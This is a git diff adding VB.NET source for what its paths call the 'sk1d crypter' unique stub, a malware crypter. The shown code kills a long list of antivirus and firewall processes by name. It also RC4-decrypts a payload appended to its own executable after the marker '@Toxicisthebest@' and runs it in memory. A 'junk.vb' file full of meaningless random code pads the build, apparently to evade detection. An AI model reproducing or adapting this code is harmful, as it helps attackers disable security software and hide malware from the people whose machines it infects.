JrsGhost(i).Kill() + Case "egui" + JrsGhost(i).Kill() + Case "zlclient" + JrsGhost(i).Kill() + Case "navapsvc" + JrsGhost(i).Kill() + Case "avkwctl" + JrsGhost(i).Kill() + Case "fsav32" + JrsGhost(i).Kill() + Case "mcshield" + JrsGhost(i).Kill() + Case "ntrtscan" + JrsGhost(i).Kill() + Case "avguard" + JrsGhost(i).Kill() + Case "ashServ" + JrsGhost(i).Kill() + Case "AVENGINE" + JrsGhost(i).Kill() + Case "avgemc" + JrsGhost(i).Kill() + Case "tmntsrv" + JrsGhost(i).Kill() + Case "gcasServ" + JrsGhost(i).Kill() + Case "SpybotSD" + JrsGhost(i).Kill() + Case "Ad-Aware" + JrsGhost(i).Kill() + Case "sunasServ" + JrsGhost(i).Kill() + Case "spysweeper" + JrsGhost(i).Kill() + Case "PPActiveDetection" + JrsGhost(i).Kill() + Case "msscli" + JrsGhost(i).Kill() + Case "Tmas" + JrsGhost(i).Kill() + Case "swdoctor" + JrsGhost(i).Kill() + Case "spycatcher" + JrsGhost(i).Kill() + Case "nisum" + JrsGhost(i).Kill() + Case "MpfService" + JrsGhost(i).Kill() + Case "blackd" + JrsGhost(i).Kill() + Case "fsdfwd" + JrsGhost(i).Kill() + Case "smc" + JrsGhost(i).Kill() + Case "zlclient" + JrsGhost(i).Kill() + Case "persfw" + JrsGhost(i).Kill() + Case "efpeadm" + JrsGhost(i).Kill() + Case "fsguiexe" + JrsGhost(i).Kill() + Case "kpf4gui" + JrsGhost(i).Kill() + Case "pccpfw" + JrsGhost(i).Kill() + End Select + Next + End Function + Public Shared Function rc4(ByVal message As String, ByVal password As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = password.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + a = 1 + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + returnCipher = cipher.ToString + cipher.Length = 0 + Return returnCipher + End Function + + Const filesplit = "@Toxicisthebest@" + Public Shared Function StrToByteArray(ByVal str As String) As Byte() + Dim encoding As New System.Text.ASCIIEncoding() + Return encoding.GetBytes(str) + End Function 'StrToByteArray + Function ToByte(ByVal s As String) As Byte() + Return System.Text.ASCIIEncoding.ASCII.GetBytes(s) + End Function + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + kav() + On Error Resume Next + Dim TPath As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\" + Dim file1, filezb4(), filezafter, fd As String + + FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + file1 = Space(LOF(1)) + FileGet(1, file1) + FileClose(1) + filezb4 = Split(file1, filesplit) + filezafter = rc4(filezb4(1), "Toxicisthebest") + + + + + + Dim CryptedFile As Byte() + CryptedFile = System.Text.Encoding.GetEncoding(1252).GetBytes(filezafter) + dd.makeit(CryptedFile, Application.ExecutablePath) + + + + End + End Sub + + + +End Class diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Module2.vb b/scode (sk1d crypter/unique stub source/crypt sub/Module2.vb new file mode 100644 index 0000000..0789738 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/Module2.vb @@ -0,0 +1,30 @@ +Imports System.Net +Imports System.IO +Imports System.Diagnostics + +Module Module1 + Function GetPage(ByVal pageUrl As String) As String + Dim s As String = "" + Try + Dim request As HttpWebRequest = WebRequest.Create(pageUrl) + Dim response As HttpWebResponse = request.GetResponse() + Using reader As StreamReader = New StreamReader(response.GetResponseStream()) + s = reader.ReadToEnd() + End Using + Catch ex As Exception + Debug.WriteLine("FAIL: " + ex.Message) + End Try + Return s + End Function + + Function ExtractBody(ByVal page As String) As String + Return System.Text.RegularExpressions.Regex.Replace(page, ".*]*>(.*).*", "$1", System.Text.RegularExpressions.RegexOptions.IgnoreCase) + End Function + + Sub Main() + Dim page As String = GetPage("http://yoururl.foo") + Dim body As String = ExtractBody(page) + Debug.WriteLine(body) + End Sub + +End Module \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/Application.Designer.vb b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Application.Designer.vb new file mode 100644 index 0000000..0f69a9d --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.dgfgfgfgf.Form1 + End Sub + End Class +End Namespace diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/Application.myapp b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Application.myapp new file mode 100644 index 0000000..fbb5858 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/AssemblyInfo.vb b/scode (sk1d crypter/unique stub source/crypt sub/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..e361e95 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/AssemblyInfo.vb @@ -0,0 +1,39 @@ +Imports System.Resources + +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + + + \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/Resources.Designer.vb b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Resources.Designer.vb new file mode 100644 index 0000000..874ee9f --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("dgfgfgfgf.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/Resources.resx b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/Settings.Designer.vb b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Settings.Designer.vb new file mode 100644 index 0000000..cecc57a --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.dgfgfgfgf.My.MySettings + Get + Return Global.dgfgfgfgf.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (sk1d crypter/unique stub source/crypt sub/My Project/Settings.settings b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Mymod.vb b/scode (sk1d crypter/unique stub source/crypt sub/Mymod.vb new file mode 100644 index 0000000..187025c --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/Mymod.vb @@ -0,0 +1,3 @@ +Module Module1 + +End Module diff --git a/scode (sk1d crypter/unique stub source/crypt sub/crypt sub.vbproj b/scode (sk1d crypter/unique stub source/crypt sub/crypt sub.vbproj new file mode 100644 index 0000000..e536bc0 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/crypt sub.vbproj @@ -0,0 +1,178 @@ + + + + Debug + AnyCPU + 9.0.21022 + 2.0 + {040E6A60-B7D4-4D1C-9EC1-D5033821695B} + WinExe + dgfgfgfgf.My.MyApplication + dgfgfgfgf + stub + 512 + WindowsForms + v3.5 + On + Binary + Off + On + Earth.ico + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + stub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + ..\..\..\ + stub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + False + ..\..\..\..\..\Program Files\Microsoft Visual Studio 9.0\MSDN Express Library\1033\Leet Library.dll + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + Designer + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + False + .NET Framework 2.0 %28x86%29 + false + + + False + .NET Framework 3.0 %28x86%29 + false + + + False + .NET Framework 3.5 + true + + + False + Windows Installer 3.1 + true + + + + + + + + + \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/crypt sub.vbproj.user b/scode (sk1d crypter/unique stub source/crypt sub/crypt sub.vbproj.user new file mode 100644 index 0000000..16b7eba --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/crypt sub.vbproj.user @@ -0,0 +1,16 @@ + + + + publish\ + + + + + + + + + en-US + false + + \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/junk.vb b/scode (sk1d crypter/unique stub source/crypt sub/junk.vb new file mode 100644 index 0000000..53d6e3c --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/junk.vb @@ -0,0 +1,202 @@ +Module BssuRMGFuNGFIxsjSvfr + + Public Function HrHzRGyhCAQrKlHswXPasPGCNJZQmEsECjulDzEGPWkmOFzGcPjXfNhWSIqbcXYKoPikTUstuzxQfCZnQvCnaahoYBjFWdzjRJVtikbjyrQCcvROllEhCoEQH(ByVal bOoxdmxCkOhOTXoJ As String) As String + On Error GoTo GJWSqHoufpwUdqVYtXFxJbBwLmkMcHZDmxTqdZsOmdIBgroARnBcHVGRvwPw + Dim RNLrWXSXnIYjclNBYIblQKwLsd As String = "TbZtcvtReqPrAAbsxXpgPiaeOWZLfHBcQHpFRMGVnQLYplqezqdUhvYYRKhzxLTgjQUqcd" + msgbox("chuYtljGCCXyYKwHBFhxkGoNuYKnRaMcgDgUHYlWVnosfCiGKQoIITFEExhsmNFbtjjYIiRydzCEnIdivKKnnZEGqCXFuzRivIWmrJOrBceojKywjGlTa") + Dim LnZZVcRcihklesbNMZETjwgVoMNGFHELRMhLiYXciozsJDpflYtrtkQQ As Integer = 394821 + Dim YzdjNRlAIOHInjhlEyNkvTeTOVWRKamqnDkQP As Integer = 1723198 + 1012732 + 613602 + 214472 + Dim iikfLGCeeRnldUoQGBNwRanzmpefpGYjhdWKIDwpLhPhGqPXcODuQxMD As Integer = 302132 + Dim OjkHpcKjPzHGQDqmyvDvqZPhneYyVxgv As Integer = 703622 + 906756 + 507626 + 1137517 + msgbox("nfVwmeBnblRuMYdwJqTLRaCMQfwQQOGScnZImgokzTJruFwEqcQxWVtGhprMhplJeoyJbOjfsscXQoFGYxvCvHvXpaEWeIRRFKiOowZBINSBiZnogHUUdOVU") + Dim CiPtrPiMdtpUnkWUMCPWaLzyQqNDYPWGufEizRBeLxbWwLjIUHMvKoVM As Integer = 411271 + Dim YtzgvuIiYafdGhJLRkJyHSHabdoBurHizlHCze As Integer = 1904153 + 1031541 + 632411 + 233281 + Dim jCkheIFSpfnqaUsSeblKBZNhqtwQwVwmcFbMemivZcyCLKoicxdRbHhP As Integer = 318583 + Dim itefgvvZZyFJsnLbzFLmDBPLkMfgjuELD As Integer = 884577 + 925565 + 526435 + 1156326 + msgbox("HYIMAXpzLkeHKdsBumrpfuprwlBSIDMHfWQnbgEmEnZMeXCtBOTotVKtCiVfJiYcJNDlyQCmXcWWusynQhioRhiJoZBuXQRvukPrwXhSzkvhHWRnnyxaAysSbq") + Dim WCHyWinBlheYrGqBkOYxbGExSaiOWTvGKQjSNOgLniKkxXtlCvbvMKLX As Integer = 427722 + Dim BKdmiCBkHoezdwMBmqdSEELQfWhxRiyEpwQnxPH As Integer = 2085108 + 1050350 + 651220 + 252090 + Dim IsXyMxUkgNReDqIojhxvGEmgCViPrqPFdYHOFxedltqFhoQQHMSMfRoC As Integer = 335033 + Dim fvryecYrwvTMgUfrPSCkJTDkTgLuHYUUoW As Integer = 1065532 + 944374 + 545244 + 1175135 + msgbox("EmcXieewjMgzOWSFNmshrkPfTGCXkltYTqZESePiwLVTrixZfPanOFwILyTsSPbQXmGusVnVQEpNHupThBtyivdydcqJUxKTGJZmXMYgeapbZOVKHezJNPmWLYTUFsU") + Dim IVVOgZCyxcCqDUKblOHKTZOoDUrbqdTuQRgPRxBahWfxsOtzdzUiFwH As Integer = 444172 + Dim LpQIwWWCohlfBNEKbMulOKgsGGmOtKrNWKcYobS As Integer = 2266062 + 1069158 + 670029 + 270899 + Dim HamDKAemvvCLGcdbsgkPMfdYbcfIXEUpnlbFSTrEyDWemFXSNRmrBmf As Integer = 351484 + Dim xaSHyNroBdpTCRLQyiLZGOQkMuqOTFgzSPA As Integer = 1246487 + 963182 + 564052 + 1193943 + msgbox("BFeZZJMEGLaYrtZAxWRGyncEXVcYPbeJuWNLDYpvMaTVNzVxqBYbKkGsffSeTmAnkbdZbLIwkUsbPqFRRchtgLRzvgdGOemhozmRILHuRWdngHyPBJTommndohPZnqoWA") + Dim mnmfnYbiisOvbchpMhtsHzzNpiRUFnIohViHKBHuhtYlxkpZhwaTKqUO As Integer = 460623 + Dim yFNBOMjuyQXjaHrPoQdWUcwbxevYdjEneRRnhIBS As Integer = 2447017 + 1087967 + 688837 + 289707 + Dim GIbvbqQfaxmynXtEGYhZBimUwPuzRtLHioCNmVnYPVDyqGWifVpEGlZa As Integer = 367934 + Dim VLVsgbyEcGLYNincJkdlJTjFxbMmYtcugin As Integer = 1427442 + 981991 + 582861 + 1212752 + msgbox("fRBDXrdaOQgGMOUyaPExikXQRlgQBrCJSNmSTvusMScEGLjlPmWxbcesqsXMHjkXmZsiTxeRDGgrwimYTbxkUjGZPOjHethIEHuXNfjsBlUnXNdFBrIfnDGCFtXGCuKgUVEqb") + Dim vZfhdDSBfdOPEfBgXgtitvafssPfyY As Integer = 407866 + 876015 + 476885 + 1106776 + msgbox("IrPjfQfjFhdSmBowfpbfAgLOzuxkHZWobiIICQlDuXbPSojkpoDhvrpsQorbMWsicmXcCsYnzghCqOdrHXkiIPvExynVShkNAZzIRhWVDJogyJylolp") + Dim rixnaIIIOCDEBeVWBkyPEoGqtksQWCzlFhdHdRgsEDSNqzoinzeCTzT As Integer = 384384 + Dim WqTbmcWrlJCenUrVELDjhmNJGgrzQRCikNKcM As Integer = 1608397 + 1000800 + 601670 + 1231561 + Dim wfwouDjOVlTegvWnVulWwyrKYGZNZiLOCRSeOeMZLxgzzBWhBQliidoT As Integer = 291696 + Dim BkEkqzdavTimpOgDbNWpKuoEVJSPIxJ As Integer = 588821 + 894823 + 495694 + 1125585 + msgbox("tcsSOJksuQhMRUWDeoAPJKQzjRRtQlbbBwNbetpBFdLZlvtmctuLtvXgcktDPXrnqUqlOACzCVGIYZJbGbBELIpJENbEOUUyZSpGJBxYzTjFqvTWqGOOuW") + Dim zwEkpCRRxiaCXfivCUoSfPiLhaLJKpqUuFCSKmjGIYtdDLcIggJpONnv As Integer = 400835 + Dim cUHxYZWcenDerIkYFsVNOwWchaFgQsDuNCmXK As Integer = 1789352 + 1019608 + 620479 + 221349 + Dim lEIUYREqtQtdZFnOXKurKxqvmQGynwaRSStfpeqNgoQizTnKLBvcLDv As Integer = 308146 +GJWSqHoufpwUdqVYtXFxJbBwLmkMcHZDmxTqdZsOmdIBgroARnBcHVGRvwPw: + Dim wGESCgQjIJLXgoihmgrNrmaXml As String = "rPNkCyaWhBEmykRRRUHWjdLldskeTYxjltliJ" + msgbox("angUXoNjOhxvtIkKpPojWaLTYFTOsztgfficJHbrzzfEEVSwQclnXfVToOhLtXfbMdSHDReHLproXuRHCIfYyBQcPeRgwUDPegsyYfoMrRZjESlTRAAuqqDbniprgxcEgtNmbwzymmclhxWiHfHm") + If 9049935 > 745264 Then + Dim eqVGKKkIfnwvNWXIPzsxQEQYLO As String = "xUJgMRLJpLGFZBMSLgRlXIKtzsclwtKwBdUrHwXY" + Dim tUTsgVjKFlwLuyWIFbYFNQeehD As String = "sdUuYydbaUyUpEaMNDfAyzywYAcYRMkrBDjdxFSYqEDkIGyLMPTSDWZnmyVbBWNgM" + Dim MtuSvDyPgYXDwxzkYLpjiaZIqb As String = "rSWOlyJdceHTMScUqBdQKfubTzPvhDiGLyMrGdyXGLOALrQE" + End If + msgbox("WhAdmtzsbwziBBFMlqQNyQKYrWCjNRBuYXmreWAhdcspNLpRtvQPgFlWbmBIikRnWmPtTYuFsjWETCsespJDRvSMsTLKdooZFIleSFJhIznUhiqUWIvXVwiSfAjnNkuYOTAuqbTiOGshRKKIThcUGPHGcPVjBiJGkBMjDtBdzmmmnrcOYuFolJRYvYvJoLqJoVuTQinE") + If 1970307 > 1038417 Then + Dim yyXzLrLtHdkdvAbxXdYcnlKDJd As String = "qhNTiaomAaywVcVMwzQBIfjYaqfOhEnThYNbYTgRXRGuurVxJB" + Dim lpfHsFpTsJhqsSmuiHFyJbNoTd As String = "qcODoaEmbFCvHJVQkYpjOvHoxQyZPzVyEmU" + Dim ytIyYSzxZtCLkTQPuhQRBrLMfX As String = "garVfKIXlZkvXKyxtZkRRgBTTMJNAiKdGcJyIrUSGpCypaABFXvWtUYprdFml" + End If + Dim lDclnfDsWfOyJPjbYoSRihrytyJNUbUIFKHuPlaIhgOnZVJXTDiCoikg As Integer = 875510 + Dim lfOBUedgVWlVbrUzQNCcWlVUSu As String = "EyVlnBUadNzDxHcFIyyPQUHhsNTqFiHsHOJJD" + msgbox("fTcCFMGCKAvimWmJYhNXVpBgiAqLMWKQVkSKAbKwNhhegsMQFcxBhMPBpaeGnFgsaUTxPwKMRWGamrStnkKMKwEFIcxdxxlcQKNTtlQYsJAYgMSqtgGBGdUJwbdmOjyMwiYhJkJKixZPbCRkrvkyHtVLX") + If 9230890 > 764072 Then + Dim eQuIDNISrJsHBDDGbdzaKOnkWb As String = "dMEDEoRVdtubLMHwnfSiistbCDejADARbTioNSfi" + Dim ZGGnjSLUJtrMuPOFxWFKMCDzzl As String = "PEkGaCPFSNZMKRrmGXsOnyeUipuaeWtzxarXqSILijwsBpDNjggnqZTjsPaxMlkI" + Dim PJjWUBzEriUNYkriRybKIXaPxI As String = "ieSqkKXsxqwrAqeLGtXgBCaDMGRZWTScMOgDrYEWrUmRdAmCi" + End If + msgbox("CYmpjqMBEZpjOlxEpLXkrmMfleUMhdeabFewSjDLaTnCbtkEEcuIHqDuUtoXAZmXfJVRUiqvgTfyUYVYXwUibvHmlVgYKLiPLxTeLbGHToayNPlOoiGoUoFGfZGqfcBEMkhJMEixhsgecFPcyALzIKgGyUVDgOYrelTisEETRuFRhjoQxOssLyTlmThkjJjfIPkcYRCWTIGn") + If 2151262 > 1057226 Then + Dim KwWnZhsDEZeSGzgsxpdIqmijg As String = "yfdtOTcNTWYXJMnnzqEkcIVBBjLncGDqmiSfjGPBAkLhPhDInZKG" + Dim OCUDuDyjRJgnveuwGDQNgacLw As String = "qWkzWDbUrRbRaHxqyKlxaukvKYQKzRUNKnJG" + Dim WyDBJXdzJDJuQUQZuptmffEhW As String = "uzUPeZWodXFUMLhUdZTyrvaakKQKSKetKUHBXgqNNyekyEwxcZaIYUzNhfPim" + End If + Dim HUEPnMexkGKdisRZFNMdiTlyMh As String = "HyzqQmxSlmenpuLteYCypcwOUeaiLUZnyIPJUyqBoQdidGulVnlURaKvHMvTJIJiPGfput" + End Function + + + + Public Function RNKrZCPZDzhIBPWweSOZtszzqCetPTeLaNZBiLeEpKupxDbYedFjIPhFGFXQwfWGaDgxvXdImTAUbmsOuqdjSkPYQComgIeGRhaatEQwOFlgtgZYUBkJjxgSVJ(ByVal KozJEJyAbMtShlLI As String) As String + On Error GoTo ExZHJOrQVkYtBlnOFvMwFPLqGTpCSpPcBbEYilbTRjxWWqXWVSnErHZmeD + Dim zRrOFWWOHYEEZQHVUQSWcTpdDQoUZYJtRXwmfPoPllSQlnRNdfCjpeLA As Integer = 395617 + Dim RyflODrpybDVZHtTjcCtUJInLOOXVNykvNhut As Integer = 1731951 + 1013642 + 614512 + 215382 + Dim mRfLDjmZYHjFkXwzOIkHeJGoOempwlObvclgbJbQXnGrOYlFZwPneluN As Integer = 302928 + Dim XoOAxxwhZMfUOFevdpCNibEjxHxASyfz As Integer = 712376 + 470009 + 1099900 + 700770 + Dim dVVLHMeDkaOpWvZJYTXSDbXLBLxOWasffmFHPAcLFnzM As Integer = 3162083 + 1162292 + 763162 + 364032 + Dim zKzZnRWvgmZIwtFUCMGOrspDTvosDrKOtSGQnDFNcEHIvxrTgykUCast As Integer = 432940 + Dim MWDkgFqSGTweFlMsvmPfCPntExCIKruPIJVTHq As Integer = 2142508 + 1056316 + 657186 + 258056 + Dim EMyrBNhALqljqeGhiyVodlDHarCdZbXKLfhgUEVuByeHHQnJdgPaJSeW As Integer = 340251 + Dim jWOGQjLTbXveThYrBpzafdVOUIuPLNLlAB As Integer = 1122932 + 950340 + 551210 + 1181101 + msgbox("XkrpAWouMcQugSDNwZnDxSmkfwdlQqDycXZBghxsrQJdngWmpBjiGBIEdowBHFyxZvOJncRYkeuywxrQfCWCGVlOTRSYrzTkWgdADIqByrstrTKOYETBibScIILpFYJY") + Dim RKXwjCeogzfRXOjcfhSYPaKtWMuRkoYPCVreLvbJlqnByBfRffhCKwgY As Integer = 449390 + Dim WWCDOxcesGZfenNWviRMgTnZgWskhaRTeGZIlUmT As Integer = 2323463 + 1075125 + 675995 + 276865 + Dim DYjHIruuErqgchwoskGZGwbIldfKyvZCHbcWegKvMlzdRYyHOtMJyhlg As Integer = 356702 + Dim MGtrwjaPpcnMLuKmYIafkPBgEzfFQZheRTZ As Integer = 1303887 + 969149 + 570019 + 1199910 + msgbox("GuqTxqMwFIsFhkIsllknjwuuXYxuCFEaTrxEWdRcbIGZtpdgYOeTFAgmnvacIimjcOqvqsCeudYxIwCVXTGLvHWsNetVCInOOOGOMnstUnmjiAyRBNgbIvkTdEKynoaLsOA") + Dim dVmnctRMhPJinzEIqSnKqREiRSgWCSVBmFudTqQxXvGVnKoDJGpyrRyQ As Integer = 465841 + Dim AWMNsVEjEXBvYRdGmTgUmLyBHQxacpmoNaRjAhu As Integer = 2504418 + 1093934 + 694804 + 295674 + Dim sUyPxQoVPYwVQiomyGbTfnLoJpzFgeefVjKTcISQhLPSSAVoyjDETkfu As Integer = 373152 + Dim niqWTWyxEgRFPiXQNPOBrndQqYnEeFPYtNw As Integer = 1484842 + 987957 + 588827 + 1218718 + msgbox("gBIJdDnWuDHbMWCyedWpXHLzVuWRkQZTMzpkrtdXdvwFeCKazNbDFxhPqjAjVyHbXZGRxTaQwyREkboXFULPSaZsrpjVCpwGnRhQSMDtbbzvHjqrTKqXGadWfwtEQFfKGcHSgV") + Dim srxPXsmjHSlgCtqcpLKQyZLMiNbcMNi As Integer = 465267 + 881981 + 482851 + 1112742 + msgbox("QuqfKUGUvNnHBHlfsTIIlNHWWqoytdXOEodFVlLvwYRnJjGImDSWMvFiadCOcCWLuHLcCYFXtiibdDZRftWfmpAEvkJMmiMaxNiOESXdWsZCWmUxMG") +ExZHJOrQVkYtBlnOFvMwFPLqGTpCSpPcBbEYilbTRjxWWqXWVSnErHZmeD: + Dim pbtaFVKxmsBFdtntdCsxgSnzaB As String = "lGxNCzUDyMVFsrEwIpmcjSzQJmZLZBKZkakXmysaEbmfqXljvarehRcEXIbNzkoBLZHBHKsh" + msgbox("QrRRivvRqUxIqLPqBQFWSCCaeEtUDbIwcIQWQGsxkevecABRLSGzmipPFzrYRysiDvxYdZCghBZTPblnOVpcFkyDdZPOehYHHnHeThHGTxXgoOJffppYHzxEUMbb") + If 7725850 > 607636 Then + Dim kxsIRBxGyiepVTqXoWNUOKZRre As String = "TLMLysQUhZgxoEJYqPsxMnVehqoHGHgPyBzSZcWOLLMpMovttSzbdjCeAmvCcdPYpUVldrEsygB" + Dim pOWfqwfvjKUEqLTNPynaZndhdO As String = "fLyggjgtdCDGNwuYziIbYYMzKGvSNqhzFPNQzOgWLFtpzciOLDnVtErwTn" + Dim daYMHIibmjSZUbrJDYQEXQDO As String = "aHKuHkWikjxJNrGpGTPLXwRNFvrnsENqmVdMkGtKYDa" + End If + 